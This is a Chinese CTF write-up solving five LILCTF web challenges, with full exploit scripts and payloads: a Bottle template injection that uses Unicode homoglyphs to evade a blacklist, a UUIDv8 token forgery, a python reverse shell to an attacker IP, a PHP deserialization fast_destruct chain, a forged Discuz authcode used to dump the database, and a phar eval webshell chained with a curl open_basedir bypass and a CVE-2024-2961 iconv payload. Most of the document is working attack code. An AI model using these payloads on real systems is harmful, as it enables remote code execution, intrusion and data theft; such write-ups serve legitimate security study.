ez_bottle

附件给了源码,web-ez-bottle.py:

from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

# hint: flag in /flag , have a try

UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)

STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
              "get", "open"]


def contains_blacklist(content):
    return any(black in content for black in BLACK_DICT)


def is_symlink(zipinfo):
    return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000


def is_safe_path(base_dir, target_path):
    return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))


@route('/')
def index():
    return static_file('index.html', root=STATIC_DIR)


@route('/static/<filename>')
def server_static(filename):
    return static_file(filename, root=STATIC_DIR)


@route('/upload')
def upload_page():
    return static_file('upload.html', root=STATIC_DIR)


@post('/upload')
def upload():
    zip_file = request.files.get('file')
    if not zip_file or not zip_file.filename.endswith('.zip'):
        return 'Invalid file. Please upload a ZIP file.'

    if len(zip_file.file.read()) > MAX_FILE_SIZE:
        return 'File size exceeds 1MB. Please upload a smaller ZIP file.'

    zip_file.file.seek(0)

    current_time = str(time.time())
    unique_string = zip_file.filename + current_time
    md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
    extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
    os.makedirs(extract_dir)

    zip_path = os.path.join(extract_dir, 'upload.zip')
    zip_file.save(zip_path)

    try:
        with zipfile.ZipFile(zip_path, 'r') as z:
            for file_info in z.infolist():
                if is_symlink(file_info):
                    return 'Symbolic links are not allowed.'

                real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
                if not is_safe_path(extract_dir, real_dest_path):
                    return 'Path traversal detected.'

            z.extractall(extract_dir)
    except zipfile.BadZipFile:
        return 'Invalid ZIP file.'

    files = os.listdir(extract_dir)
    files.remove('upload.zip')

    return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
                    files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")


@route('/view/<md5>/<filename>')
def view_file(md5, filename):
    file_path = os.path.join(UPLOAD_DIR, md5, filename)
    if not os.path.exists(file_path):
        return "File not found."

    with open(file_path, 'r', encoding='utf-8') as f:
        content = f.read()

    if contains_blacklist(content):
        return "you are hacker!!!nonono!!!"

    try:
        return template(content)
    except Exception as e:
        return f"Error rendering template: {str(e)}"


@error(404)
def error404(error):
    return "bbbbbboooottle"


@error(403)
def error403(error):
    return "Forbidden: You don't have permission to access this resource."


if __name__ == '__main__':
    run(host='0.0.0.0', port=5000, debug=False)

python的bottle框架,实现了上传zip压缩包并解压到指定目录的功能,同时有对内容的过滤,可以发现过滤了常用的注入模板{{}} <%%>以及常见的os等关键字,bottle框架还可以使用单个百分号来执行python命令,但是不会将内容渲染到网页。结合/static路由可以读取static目录下静态文件的特性,考虑将/flag文件复制到static目录中,期望执行的命令:

cp /flag ./static/flag.txt

一开始考虑通过斜体字符来绕过o和a,多次尝试之后才发现打开文件的编码方式是utf-8,斜体字符会被解析成生僻汉字,考虑往Unicode非ASCII字符方向走,编写恶意文件内容要注意开头需要有个回车符,否则%后的内容不会被当作python命令执行:



% from bottle import request
% import 𝐨s
% 𝐨s.system(request.query.v1)

完整exp:

from urllib.parse import unquote
import requests
import zipfile

url = "http://challenge.xinshi.fun:46226/upload"
file_path = "./file.zip"

payload = unquote("%0A")
payload += "% " + "from bottle import request\n"
payload += "% " + "import 𝐨s\n"
payload += "% " + "𝐨s.system(request.query.v1)"

with open("file.txt", "wb") as f: 
    f.write(payload.encode('utf-8'))

with zipfile.ZipFile("file.zip", 'w', zipfile.ZIP_DEFLATED) as zip:
    zip.write("file.txt")

with open(file_path, 'rb') as f:
    files = {'file': (file_path, f, 'application/zip')}
    response = requests.post(url, files=files)

print(response.text)  # 输出服务器返回的结果

再去访问该文件,带上v1传参要执行的命令:

http://challenge.xinshi.fun:46226/view/33fb755cb11889d8398700b6238f5375/file.txt?v1=cp%20/flag%20./static/flag.txt

做完之后发现本题没有过滤flag字符,根本用不着导入bottle中的request,request.query.v1类似flask中的request.args.v1



% import 𝐨s
% 𝐨s.system('cp /flag ./static/flag.txt')

最后访问static目录中的flag.txt即可拿到flag:LILCTF{6oT7IE_has_6eeN_recyc13d}

参考资料:

https://xz.aliyun.com/news/17718

https://www.osgeo.cn/bottle/api.html#the-request-object


Ekko_note

题目给了源码,web-ekko_exec.py:

# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2066/07/05 19:20:29
@Author  :   Ekko exec inc. 某牛马程序员 
'''
import os
import time
import uuid
import requests

from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session

SERVER_START_TIME = time.time()


# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)


admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(20), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password = db.Column(db.String(60), nullable=False)
    is_admin = db.Column(db.Boolean, default=False)
    time_api = db.Column(db.String(200), default='https://api.uuni.cn//api/time')


class PasswordResetToken(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    token = db.Column(db.String(36), unique=True, nullable=False)
    used = db.Column(db.Boolean, default=False)


def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

with app.app_context():
    db.create_all()
    if not User.query.filter_by(username='admin').first():
        admin = User(
            username='admin',
            email='admin@example.com',
            password=generate_password_hash(admin_super_strong_password),
            is_admin=True
        )
        db.session.add(admin)
        db.session.commit()

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('请登录', 'danger')
            return redirect(url_for('login'))
        return f(*args, **kwargs)
    return decorated_function

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('请登录', 'danger')
            return redirect(url_for('login'))
        user = User.query.get(session['user_id'])
        if not user.is_admin:
            flash('你不是admin', 'danger')
            return redirect(url_for('home'))
        return f(*args, **kwargs)
    return decorated_function

def check_time_api():
    user = User.query.get(session['user_id'])
    try:
        response = requests.get(user.time_api)
        data = response.json()
        datetime_str = data.get('date')
        if datetime_str:
            print(datetime_str)
            current_time = datetime.fromisoformat(datetime_str)
            return current_time.year >= 2066
    except Exception as e:
        return None
    return None
@app.route('/')
def home():
    return render_template('home.html')

@app.route('/server_info')
@login_required
def server_info():
    return {
        'server_start_time': SERVER_START_TIME,
        'current_time': time.time()
    }
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        email = request.form.get('email')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')

        if password != confirm_password:
            flash('密码错误', 'danger')
            return redirect(url_for('register'))

        existing_user = User.query.filter_by(username=username).first()
        if existing_user:
            flash('已经存在这个用户了', 'danger')
            return redirect(url_for('register'))

        existing_email = User.query.filter_by(email=email).first()
        if existing_email:
            flash('这个邮箱已经被注册了', 'danger')
            return redirect(url_for('register'))

        hashed_password = generate_password_hash(password)
        new_user = User(username=username, email=email, password=hashed_password)
        db.session.add(new_user)
        db.session.commit()

        flash('注册成功,请登录', 'success')
        return redirect(url_for('login'))

    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        user = User.query.filter_by(username=username).first()
        if user and check_password_hash(user.password, password):
            session['user_id'] = user.id
            session['username'] = user.username
            session['is_admin'] = user.is_admin
            flash('登陆成功,欢迎!', 'success')
            return redirect(url_for('dashboard'))
        else:
            flash('用户名或密码错误!', 'danger')
            return redirect(url_for('login'))

    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    session.clear()
    flash('成功登出', 'info')
    return redirect(url_for('home'))

@app.route('/dashboard')
@login_required
def dashboard():
    return render_template('dashboard.html')

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'POST':
        email = request.form.get('email')
        user = User.query.filter_by(email=email).first()
        if user:
            # 选哪个UUID版本好呢,好头疼 >_<
            # UUID v8吧,看起来版本比较新
            token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
            reset_token = PasswordResetToken(user_id=user.id, token=token)
            db.session.add(reset_token)
            db.session.commit()
            # TODO:写一个SMTP服务把token发出去
            flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
            return redirect(url_for('reset_password'))
        else:
            flash('没有找到该邮箱对应的注册账户', 'danger')
            return redirect(url_for('forgot_password'))

    return render_template('forgot_password.html')

@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
    if request.method == 'POST':
        token = request.form.get('token')
        new_password = request.form.get('new_password')
        confirm_password = request.form.get('confirm_password')

        if new_password != confirm_password:
            flash('密码不匹配', 'danger')
            return redirect(url_for('reset_password'))

        reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
        if reset_token:
            user = User.query.get(reset_token.user_id)
            user.password = generate_password_hash(new_password)
            reset_token.used = True
            db.session.commit()
            flash('成功重置密码!请重新登录', 'success')
            return redirect(url_for('login'))
        else:
            flash('无效或过期的token', 'danger')
            return redirect(url_for('reset_password'))

    return render_template('reset_password.html')

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
    result = check_time_api()
    if result is None:
        flash("API死了啦,都你害的啦。", "danger")
        return redirect(url_for('dashboard'))

    if not result:
        flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
        return redirect(url_for('dashboard'))

    if request.method == 'POST':
        command = request.form.get('command')
        os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
        return redirect(url_for('execute_command'))

    return render_template('execute_command.html')

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
    user = User.query.get(session['user_id'])
    
    if request.method == 'POST':
        new_api = request.form.get('time_api')
        user.time_api = new_api
        db.session.commit()
        flash('成功更新API!', 'success')
        return redirect(url_for('admin_settings'))

    return render_template('admin_settings.html', time_api=user.time_api)

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0")

实现了基本的注册,登录,忘记密码等功能,主要漏洞出在忘记密码的部分,使用了uuid.uuid8来生成token,而其中调用了random生成了伪随机数,题目还给了/server_info来获取时间戳SERVER_START_TIME,admin用户名、邮箱以及padding算法都在源码中,只要模拟生成一次token就可以实现修改admin的密码实现越权,起一个python3.14的环境就能获取到uuid.uuid8了:

import random
import uuid
from secrets import token_urlsafe

def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

SERVER_START_TIME = 1755253132.849335
random.seed(SERVER_START_TIME)
admin_super_strong_password = token_urlsafe()

a = padding("admin")
token = uuid.uuid8(a=a)

print(token)

登陆成功后考虑如何修改time_api来让date>=2066,可以使用在线的自定义api网站自定义返回json数据,https://app.beeceptor.com/ :

{"date":"2066-01-01T00:00:00"}

/admin/settings中填入自定义的api:https://lilctf.free.beeceptor.com/api/date ,再访问/execute_command即可实现RCE。但是由于执行的是os.system(),网页是没有回显的,尝试反弹shell,一开始用bash和nc反弹都失败了还以为不出网,最后尝试python反弹shell成功:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_ip",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

flag在根目录下:LILCTF{U_HAvE_1OUnD_TH3_rIgH7_tlMEIINE!}

参考资料:

https://xz.aliyun.com/news/8987


Your Uns3r

index.php:

<?php
highlight_file(__FILE__);
class User
{
    public $username;
    public $value;
    public function exec()
    {
        $ser = unserialize(serialize(unserialize($this->value)));
        if ($ser != $this->value && $ser instanceof Access) {
            include($ser->getToken());
        }
    }
    public function __destruct()
    {
        if ($this->username == "admin") {
            $this->exec();
        }
    }
}

class Access
{
    protected $prefix;
    protected $suffix;

    public function getToken()
    {
        if (!is_string($this->prefix) || !is_string($this->suffix)) {
            throw new Exception("Go to HELL!");
        }
        $result = $this->prefix . 'lilctf' . $this->suffix;
        if (strpos($result, 'pearcmd') !== false) {
            throw new Exception("Can I have peachcmd?");
        }
        return $result;

    }
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
    exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

反序列化的目的是实现include的任意文件读取,可以利用目录穿越,设置好prefix和suffix即可:

class Access
{
    protected $prefix = "/";
    protected $suffix = "../../../../../flag";
}

# include("/lilctf/../../../../../flag");

反序列化字符串中一定会出现Access,第一个要绕过的就是User中不能设置username为admin,否则无法进行反序列化,但是__destruct()又要求$this->username == "admin"为真才执行exec(),可以利用true的弱比较特性来绕过:

class User
{
    public $username = true;  # true与非空字符串进行弱比较返回true
    public $value;
}

$ser = unserialize(serialize(unserialize($this->value)));和下面的判断$ser != $this->value && $ser instanceof Access看上去有点绕,实际上按照正常的逻辑,$this->value是序列化后的ser,即serialize(new Access()),符合所有条件,根本没有什么需要绕过的地方

此时已经能写出完整的exp:

<?php
class User
{
    public $username = true;
    public $value;
}

class Access
{
    protected $prefix = "/";
    protected $suffix = "../../../../../flag";
}

$a = new User();
$b = new Access();
$a->value = serialize($b);
print (urlencode(serialize($a)));
?>

最后还有一个需要绕过的点,throw new Exception("nonono!!!");会在__destruct()触发前就抛出异常,导致无法执行析构函数,也就无法读取/flag,直接将序列化结果最后的}删去即可触发fast_destruct绕过throw:

user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bb%3A1%3Bs%3A5%3A%22value%22%3Bs%3A84%3A%22O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A1%3A%22%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A19%3A%22..%2F..%2F..%2F..%2F..%2Fflag%22%3B%7D%22%3B

LILCTF{90NNa_f1ND_y#UR_@NsW3r_7o_UNseR}

参考资料:

https://www.wangan.com/p/7fy7f46cd2c8727f#fastdestruct%E6%8F%90%E5%89%8D%E8%A7%A6%E5%8F%91%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95


我曾有一份工作

flag 在 pre_a_flag 表里

Discuz! X3.5,www.zip有备份源码,先下载下来看看配置目录config,根据修改时间排除deafult中同名的信息:

define('UC_KEY', 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb');	// 与 UCenter 的通信密钥, 要与 UCenter 保持一致

通过UC_KEY可以计算_authcode,dbbak.php:

$timestamp = time();
if($timestamp - $get['time'] > 3600) {
	exit('Authorization has expired');
}

...

if($get['method'] == 'export') {

	$db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');

	$time = date("Y-m-d H:i:s", $timestamp);

	$tables = array();
	$tables = arraykeys2(fetchtablelist($tablepre), 'Name');

	if($apptype == 'discuz') {
		$query = $db->query("SELECT datatables FROM {$tablepre}plugins WHERE datatables<>''");
		while($plugin = $db->fetch_array($query)) {
			foreach(explode(',', $plugin['datatables']) as $table) {
				if($table = trim($table)) {
					$tables[] = $table;
				}
			}
		}
	}
	if($apptype == 'discuzx') {
		$query = $db->query("SELECT datatables FROM {$tablepre}common_plugin WHERE datatables<>''");
		while($plugin = $db->fetch_array($query)) {
			foreach(explode(',', $plugin['datatables']) as $table) {
				if($table = trim($table)) {
					$tables[] = $table;
				}
			}
		}
	}

...

function encode_arr($get) {
	$tmp = '';
	foreach($get as $key => $val) {
		$tmp .= '&'.$key.'='.$val;
	}
	return _authcode($tmp, 'ENCODE', UC_KEY);
}

...

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
	$ckey_length = 4;

	$key = md5($key ? $key : UC_KEY);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
				return '';
			}
	} else {
		return $keyc.str_replace('=', '', base64_encode($result));
	}

}

$next_url = (is_https() ? 'https' : 'http').'://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?apptype='.$GLOBALS['apptype'].'&code='.urlencode(encode_arr($get));

可以看到需要传入apptype,这里用的是discuzX,应该传入参数值discuzx,还需要传入code,可以发现$get里比较重要的两个键值对是time和method,并且code有1小时的有效期,先尝试生成一个:

<?php

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
	$ckey_length = 4;

	$key = md5($key ? $key : UC_KEY);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
				return '';
			}
	} else {
		return $keyc.str_replace('=', '', base64_encode($result));
	}

}

$UC_KEY = "N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb";
$tmp = "time=".time()."&method=export";
$code = urlencode(_authcode($tmp, 'ENCODE', $UC_KEY));

print($code);

?>

payload:

http://challenge.xinshi.fun:43672/api/db/dbbak.php?apptype=discuzx&code=7e6boiAfroxp9Fuy7oIpRV3cXkVfPwg9zOKPJNuyuUTlr3UsJzuwez0yqdCPZmRqTPp6RVSTsKUL3w

网页回显:

<root>
<error errorCode="0" errorMessage="ok"/>
<fileinfo>
<file_num>1</file_num>
<file_size>1999894</file_size>
<file_name>250828_mp6bJ6-1.sql</file_name>
<file_url>
http://challenge.xinshi.fun:43672/data/backup_250828_B0yInW/250828_mp6bJ6-1.sql
</file_url>
<last_modify>1756381296</last_modify>
</fileinfo>
<nexturl>
http://challenge.xinshi.fun:43672/api/db/dbbak.php?apptype=discuzx&code=9190Bmhg8Qj40j7JucTh7pcdbHXbfpQBB8nCbL1K53hukNft8CQNrD1iPSqVq0kYH7kd5%2F2NRBDsBy0HcWelImYQEYXjaERQK9PL0zoOJvvdx0ag3B5K55Y3D%2F8SrsYBxncKlQWZ0s1spkg90he06%2BnV2fgL9XKNUY2ysELgL3a29NApEUofoiX5pjktVkHQqMDbsHWLKIyj
</nexturl>
</root>

sql代码里找到两句INSERT语句:

INSERT INTO pre_a_flag VALUES ('1',0x666c61677b746573745f666c61677d);
INSERT INTO pre_a_flag VALUES ('2',0x4c494c4354467b686176455f7923755f3123754e445f345f4a4f365f4e23773f5f6841484068417d);

解hex得到flag:LILCTF{havE_y#u_1#uND_4_JO6_N#w?_hAH@hA}

参考资料:

https://mp.weixin.qq.com/s/IDkUpjPL0mzSxKOgldHPeQ

https://guokeya.github.io/post/87yhVz7uW/

php_jail_is_my_cry

请注意附件中的代码存在一行需要你补充的代码, 已经注释表明, 否则会存在问题
最终需要执行 /readflag
并没有开启 allow_url_include

index.php:

<?php
if (isset($_POST['url'])) {
    $url = $_POST['url'];
    $file_name = basename($url);
    
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    
    if ($data) {
        file_put_contents('/tmp/'.$file_name, $data);
        echo "文件已下载: <a href='?down=$file_name'>$file_name</a>";
    } else {
        echo "下载失败。";
    }
}

if (isset($_GET['down'])){
    include '/tmp/' . basename($_GET['down']);
    exit;
}

// 上传文件
if (isset($_FILES['file'])) {
    $target_dir = "/tmp/";
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    $orig = $_FILES["file"]["tmp_name"];
    $ch = curl_init('file://'. $orig);
    
    // I hide a trick to bypass open_basedir, I'm sure you can find it.

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
        file_put_contents($target_file, $data);
    } else {
        echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
        $data = null;
    }
}
?>

将phar打包为gz绕过恶意字符检测,实现上传马:

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    @eval($_REQUEST[1]);
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

测试payload:http://gz.imxbt.cn:20647/?down=exploit.phar.gz&1=phpinfo();

disable_functions禁用了大部分函数

本题php.ini中设置了open_basedir = /var/www/html:/tmp,但curl_init仍然使用了file协议:

Note:
The file protocol is disabled by cURL if open_basedir is set.

根据这个issue:https://github.com/php/php-src/issues/16802 可以知道bypass open_basedir的方法:

$ch = curl_init("file:///etc/passwd");curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");curl_exec($ch);

实现任意文件读取payload:

http://gz.imxbt.cn:20647/?down=exploit.phar.gz&1=$ch%20=%20curl_init(%22file:///etc/passwd%22);curl_setopt($ch,%20CURLOPT_PROTOCOLS_STR,%20%22all%22);curl_exec($ch);

尝试打CVE-2024-2961,大致原理是glibc中iconv()函数将一些数据转换成ISO-2022-CN-EXT格式时,会有1-3字节的溢出,利用步骤如下:

1.获取 /proc/self/maps
2.获取libc
3.生成payload

先获取/proc/self/maps文件:

http://gz.imxbt.cn:20647/?down=exploit.phar.gz&1=$ch%20=%20curl_init(%22file:///proc/self/maps%22);curl_setopt($ch,%20CURLOPT_PROTOCOLS_STR,%20%22all%22);curl_exec($ch)

从docker中获取libc.so.6文件:

find / -name "libc.so.6"
docker cp pjimc:/usr/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6

利用kezibei的脚本,设置好要执行的命令/readflag > /tmp/flag生成payload:

php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXcdJjExG2hLX3M58c8bzCrZ8wI%2b6wYIxCPLPYmh3q3x/cbGLdMGvVsi7N2viV/9JLr3ROXX7q2lYmBrzAoDX15mOt7auvGK7efiNLt7j7SQN%2bDQw%2bSZHfdpx6q1V65pXutqjTd5QsFQjomBwxzXZd0W4v2c1V3WuvGW334OMgYMXTfVt2eO0Faog6r35g/uOw/3t%2bfPjoe/vVpq271va/3Ziz/vv/V81qkq%2bn7jvPLzXxjw0BB3yo/76mcJq7dOqZa2K3V%2be9zq623b41tz%2b1em/%2b1nmPZ%2b/a%2bvtb1L%2bf34v//t5/3f2TLjNeww6I7/xfYtvw59/lrwyffvcnf0vufVt6f978bc8fy6zfdfdVWfy239ufH/18%2b%2b3Psr2/Xs65t%2b/2u/zrR3fZvrK8tj039n9MTfX9uO2va6e93Zl3/vnX/sq/u%2b59/hyf/Wnp%2b3X8Vf9vz/o4ofiwwb4Ul0%2bf2QjEXW9qZuHUqqlWaVvdZt58v/%2bv1MmPBEIiweLbiQjjKvvFrjNdVP6yjyoeVTyqmM6KZ9wLyj6z5W7qm2%2b5U1S9VI4TyrJV3msNL5dN33h7e%2bA0jYky%2bEsnhoaXuluP%2bdyOPZZ33y1ykUsRDwHjl229Iha%2b8qPp3W/K%2bean2n/s%2b/PpZ/t8706O44wE3BXlnVs4VSr%2bcq591hR%2bMcE%2bAg47sGXarUdapvuW3a67oiGvo/SPAQA=

利用file_put_contents来实现执行命令:

http://gz.imxbt.cn:20647/?down=exploit.phar.gz&1=file_put_contents("php://filter/write=convert.base64-decode|zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=test.php","e3vXcdJjExG2hLX3M58c8bzCrZ8wI%2b6wYIxCPLPYmh3q3x/cbGLdMGvVsi7N2viV/9JLr3ROXX7q2lYmBrzAoDX15mOt7auvGK7efiNLt7j7SQN%2bDQw%2bSZHfdpx6q1V65pXutqjTd5QsFQjomBwxzXZd0W4v2c1V3WuvGW334OMgYMXTfVt2eO0Faog6r35g/uOw/3t%2bfPjoe/vVpq271va/3Ziz/vv/V81qkq%2bn7jvPLzXxjw0BB3yo/76mcJq7dOqZa2K3V%2be9zq623b41tz%2b1em/%2b1nmPZ%2b/a%2bvtb1L%2bf34v//t5/3f2TLjNeww6I7/xfYtvw59/lrwyffvcnf0vufVt6f978bc8fy6zfdfdVWfy239ufH/18%2b%2b3Psr2/Xs65t%2b/2u/zrR3fZvrK8tj039n9MTfX9uO2va6e93Zl3/vnX/sq/u%2b59/hyf/Wnp%2b3X8Vf9vz/o4ofiwwb4Ul0%2bf2QjEXW9qZuHUqqlWaVvdZt58v/%2bv1MmPBEIiweLbiQjjKvvFrjNdVP6yjyoeVTyqmM6KZ9wLyj6z5W7qm2%2b5U1S9VI4TyrJV3msNL5dN33h7e%2bA0jYky%2bEsnhoaXuluP%2bdyOPZZ33y1ykUsRDwHjl229Iha%2b8qPp3W/K%2bean2n/s%2b/PpZ/t8706O44wE3BXlnVs4VSr%2bcq591hR%2bMcE%2bAg47sGXarUdapvuW3a67oiGvo/SPAQA=");

读取flag:http://gz.imxbt.cn:20647/?down=flag

LILCTF{ada29630-db49-4f0d-8f11-097b10c488c3}

参考资料:

https://github.com/ambionics/cnext-exploits/

https://github.com/kezibei/php-filter-iconv